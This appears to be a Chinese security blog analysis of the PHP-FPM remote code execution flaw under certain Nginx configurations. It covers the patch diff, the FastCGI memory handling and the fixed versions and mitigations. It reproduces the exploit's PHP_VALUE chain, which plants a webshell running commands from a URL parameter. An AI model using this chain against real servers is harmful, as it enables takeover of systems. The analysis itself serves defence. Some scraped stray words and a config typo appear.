近期,國外安全研究員Andrew Danau,在參加奪旗賽(CTF: Capture the
Flag)期間,偶然發現php-fpm組件處理特定請求時存在缺陷:在特定Nginx配置下,特定構造的請求會形成php-fpm處理異常,進而致使遠程執行任意代碼。當前,做者已經在github上公佈了相關漏洞信息及自動化利用程序。鑑於Nginx+PHP組合在Web應用開發領域擁有極高的市場佔有率,該漏洞影響範圍較爲普遍。
PHP-FPM在Nginx特定配置下存在任意代碼執行漏洞。具體爲:
使用Nginx + PHP-FPM搭建的服務器在使用相似以下配置的nginx.conf時:php
location ~ [^/]\.php(/|$) { fastcgi_split_path_info ^(.+?\.php)(/.*)$; fastcgi_param PATH_INFO $fastcgi_path_info; fastcgi_pass php:9000; ...
Nginx中fastcgi_split_path_info 在處理存在"n"(%oA) 的path_info時,會將傳遞給PHP-FPM的PATH_INFO置爲空(PATH_INFO=""),影響關鍵指針的指向,致使後續path_info[0]=0的置零操做位置可控,經過構造特定長度和內容的請求,能夠覆蓋寫特定位置數據,插入特定環境變量,進而致使代碼執行。html
首先,分析其補丁:在進行request_info結構體初始化的static void init_request_info(void)函數中,增添對pilen 和slen的大小校驗,規避了指針的非預期回溯移動。nginx
// php-src/sapi/fpm/fpm/fpm_main.c ... if (pt) { while ((ptr = strrchr(pt, '/')) || (ptr = strrchr(pt, '\\'))) { // 對傳入PATH_INFO 進行校驗。經過判斷文件狀態,獲取真實PATH_INFO *ptr = 0; f (stat(pt, &st) == 0 && S_ISREG(st.st_mode)) { int ptlen = strlen(pt); # Path-translated CONTENT_LENGTH int slen = len - ptlen; //script length int pilen = env_path_info ? strlen(env_path_info) : 0; //Path info 長度 0 int tflag = 0; char *path_info; if (apache_was_here) { /* recall that PATH_INFO won't exist */ path_info = script_path_translated + ptlen; tflag = (slen != 0 && (!orig_path_info || strcmp(orig_path_info, path_info) != 0)); } else { - path_info = env_path_info ? env_path_info + pilen - slen : NULL; // 經過偏移設置新env_path_info,可是未對偏移量作校驗 - tflag = (orig_path_info != path_info); + path_info = (env_path_info && pilen > slen) ? env_path_info + pilen - slen : NULL; + tflag = path_info && (orig_path_info != path_info); } if (tflag) { if (orig_path_info) { char old; FCGI_PUTENV(request, "ORIG_PATH_INFO", orig_path_info); old = path_info[0]; path_info[0] = 0; //置零操做 if (!orig_script_name || strcmp(orig_script_name, env_path_info) != 0) { if (orig_script_name) { FCGI_PUTENV(request, "ORIG_SCRIPT_NAME", orig_script_name);//觸發入口 } SG(request_info).request_uri = FCGI_PUTENV(request, "SCRIPT_NAME", env_path_info); } else { SG(request_info).request_uri = orig_script_name; } path_info[0] = old; } ...
其中git
//以http://localhost/info.php/test?a=b爲例 PATH_INFO=/test PATH_TRANSLATED=/docroot/info.php/test SCRIPT_NAME=/info.php REQUEST_URI=/info.php/test?a=b SCRIPT_FILENAME=/docroot/info.php QUERY_STRING=a=b pt = script_path_translated; // = env_script_filename => "/docroot/info.php/test" len = script_path_translated_len // 爲"/docroot/info.php/test" // 通過從新計算處理後 int ptlen = strlen(pt); // strlen("/docroot/info.php") int pilen = env_path_info ? strlen(env_path_info) : 0; // 即len(PATH_INFO) "/test" int slen = len - ptlen; // len("/test") path_info = env_path_info + pilen - slen; // pilen 取值可能未0 或slen, 即偏移爲0 或 -N
可見,當PATH_INFO爲空時,path_info 指向發生向前偏移,偏移長度爲test的長度。進而path_info[0] = 0;能夠將特定位置 單字節置零。可是,普通位置的置零並不會形成RCE,進一步利用須要將特定控制位置零,且該控制位恰巧能控制寫入位置。request->env->data->pos即是這樣一處位置。這裏須要說明一下各變量的存儲方式。github
經過fastcgi協議傳入的各環境變量會存儲到_fcgi_request->env 這個fcgi_hash結構體中,供後續執行取用,結構具體定義以下:web
// php-src/sapi/fpm/fpm/fastcgi.c typedef struct _fcgi_hash_bucket { unsigned int hash_value; unsigned int var_len; char *var; unsigned int val_len; char *val; struct _fcgi_hash_bucket *next; struct _fcgi_hash_bucket *list_next; } fcgi_hash_bucket; typedef struct _fcgi_hash_buckets { unsigned int idx; struct _fcgi_hash_buckets *next; struct _fcgi_hash_bucket data[FCGI_HASH_TABLE_SIZE]; } fcgi_hash_buckets; typedef struct _fcgi_data_seg { char *pos; char *end; struct _fcgi_data_seg *next; char data[1]; } fcgi_data_seg; typedef struct _fcgi_hash { fcgi_hash_bucket *hash_table[FCGI_HASH_TABLE_SIZE]; fcgi_hash_bucket *list; fcgi_hash_buckets *buckets; fcgi_data_seg *data; } fcgi_hash; ... /* hash table */ //初始化操做 static void fcgi_hash_init(fcgi_hash *h) { memset(h->hash_table, 0, sizeof(h->hash_table)); h->list = NULL; h->buckets = (fcgi_hash_buckets*)malloc(sizeof(fcgi_hash_buckets)); h->buckets->idx = 0; h->buckets->next = NULL; h->data = (fcgi_data_seg*)malloc(sizeof(fcgi_data_seg) - 1 + FCGI_HASH_SEG_SIZE); // 默認分配 (4*8 - 1) + 4096 h->data->pos = h->data->data; //指向環境變量初始寫入位置 h->data->end = h->data->pos + FCGI_HASH_SEG_SIZE; 指向//data_seg末尾 h->data->next = NULL; } ...
其中咱們主要關注其中的get/set操做,實現以下:shell
static char *fcgi_hash_get(fcgi_hash *h, unsigned int hash_value, char *var, unsigned int var_len, unsigned int *val_len) // 關聯 FCGI_GETENV() { unsigned int idx = hash_value & FCGI_HASH_TABLE_MASK; fcgi_hash_bucket *p = h->hash_table[idx]; while (p != NULL) { //須要hast_value值相同,var_len相同才能取出值 if (p->hash_value == hash_value && p->var_len == var_len && memcmp(p->var, var, var_len) == 0) { *val_len = p->val_len; return p->val; } p = p->next; } return NULL; } static char* fcgi_hash_set(fcgi_hash *h, unsigned int hash_value, char *var, unsigned int var_len, char *val, unsigned int val_len) // 關聯 FCGI_PUTENV() { unsigned int idx = hash_value & FCGI_HASH_TABLE_MASK; // 計算hash_value肯定 index fcgi_hash_bucket *p = h->hash_table[idx]; //獲取原有hash_table中的對應值 while (UNEXPECTED(p != NULL)) { if (UNEXPECTED(p->hash_value == hash_value) && p->var_len == var_len && memcmp(p->var, var, var_len) == 0) { p->val_len = val_len; p->val = fcgi_hash_strndup(h, val, val_len); return p->val; } p = p->next; } if (UNEXPECTED(h->buckets->idx >= FCGI_HASH_TABLE_SIZE)) { fcgi_hash_buckets *b = (fcgi_hash_buckets*)malloc(sizeof(fcgi_hash_buckets)); b->idx = 0; b->next = h->buckets; h->buckets = b; } p = h->buckets->data + h->buckets->idx; h->buckets->idx++; p->next = h->hash_table[idx]; h->hash_table[idx] = p; p->list_next = h->list; h->list = p; p->hash_value = hash_value; p->var_len = var_len; p->var = fcgi_hash_strndup(h, var, var_len); p->val_len = val_len; p->val = fcgi_hash_strndup(h, val, val_len); return p->val; } static inline char* fcgi_hash_strndup(fcgi_hash *h, char *str, unsigned int str_len) // 實際操做request->env->data,進行數據寫入。 { char *ret; if (UNEXPECTED(h->data->pos + str_len + 1 >= h->data->end)) { //若是準備寫入的數據長度大於當前指向的fcgi_hash_seg大小,則向前插入新的fcgi_hash_seg unsigned int seg_size = (str_len + 1 > FCGI_HASH_SEG_SIZE) ? str_len + 1 : FCGI_HASH_SEG_SIZE;//較長值,不跨越兩個seg進行寫入。 fcgi_data_seg *p = (fcgi_data_seg*)malloc(sizeof(fcgi_data_seg) - 1 + seg_size); p->pos = p->data; p->end = p->pos + seg_size; p->next = h->data; h->data = p; } ret = h->data->pos; memcpy(ret, str, str_len); //於h->data->pos後寫入數據 ret[str_len] = 0; h->data->pos += str_len + 1; //後移h->data->pos到新的可寫入位置 return ret; }
由此,咱們能夠得出:request->env->data->pos的指向直接影響咱們環境變量Key,Value的寫入位置,只要咱們控制了char* pos的指向,就可能覆蓋已有的數據。可是,要想達成RCE還存在如下要求及限制:apache
相應地,咱們能夠:api
除此以外,鑑於PATH_INFO從新取值部分邏輯主要是處理PATH_INFO與真實path_info不一樣的狀況,對開頭說起的nginx配置項,存在一種狀況,發起形如http://localhost/index/info.p...,能夠構造如下場景安全
//以http://localhost/index/info.php/test?a=b爲例,index爲存在的文件 PATH_INFO=/test PATH_TRANSLATED=/docroot/index/info.php/test SCRIPT_NAME=/index/info.php REQUEST_URI=/index/info.php/test?a=b SCRIPT_FILENAME=/docroot/index/info.php QUERY_STRING=a=b pt = script_path_translated; // = env_script_filename => "/docroot/index/info.php/test" len = script_path_translated_len // 爲"/docroot/index/info.php/test" // 通過從新計算處理後 int ptlen = strlen(pt); // strlen("/docroot/index") int pilen = env_path_info ? strlen(env_path_info) : 0; // 即len(PATH_INFO) "/test" int slen = len - ptlen; // len("/info.php/test ") path_info = env_path_info + pilen - slen; // pilen < slen, 即偏移爲-N
此時URL中無需存在%0A,亦可完成指針移位,漏洞過程與上述相似,可是由於script_name無效,沒法直觀顯示攻擊狀態,利用難度較高,再也不贅述。
path_info指向了request->env->data->pos後的內存佈局
Exp做者利用PHP_VALUE向PHP傳遞多個環境變量,使PHP產生錯誤,以錯誤日誌的形式將webshell輸出到/tmp/a,並經過auto_prepend_file自動執行/tmp/a中的惡意代碼,達成getshell。
var chain = []string{ "short_open_tag=1", //開啓php短標籤 "html_errors=0", // 在錯誤信息中關閉HTML標籤。 "include_path=/tmp", //包含路徑 "auto_prepend_file=a", //指定腳本執行前自動包含的文件,功能相似require()。 "log_errors=1", //使能錯誤日誌 "error_reporting=2", //指定錯誤級別 "error_log=/tmp/a", //錯誤日誌記錄文件 "extension_dir=\"<?=\`\"", //指定extension的加載目錄 "extension=\"$_GET[a]\`?>\"", //指定加載的extension }
在文初提到的配置下,該漏洞影響如下版本的PHP:
7.1.x < 7.1.33
7.2.x < 7.2.24
7.3.x < 7.3.11
能夠經過 Nginx 增添配置try_files %uri = 404php設置cgi.fix_pathinfo=0選項,臨時規避漏洞影響。也能夠選擇使用官方已經釋出的更新進行徹底修復。
京東雲-WAF現已支持對該漏洞的防禦,點擊【閱讀】,獲取更多產品信息。
歡迎點擊「京東雲」瞭解更多精彩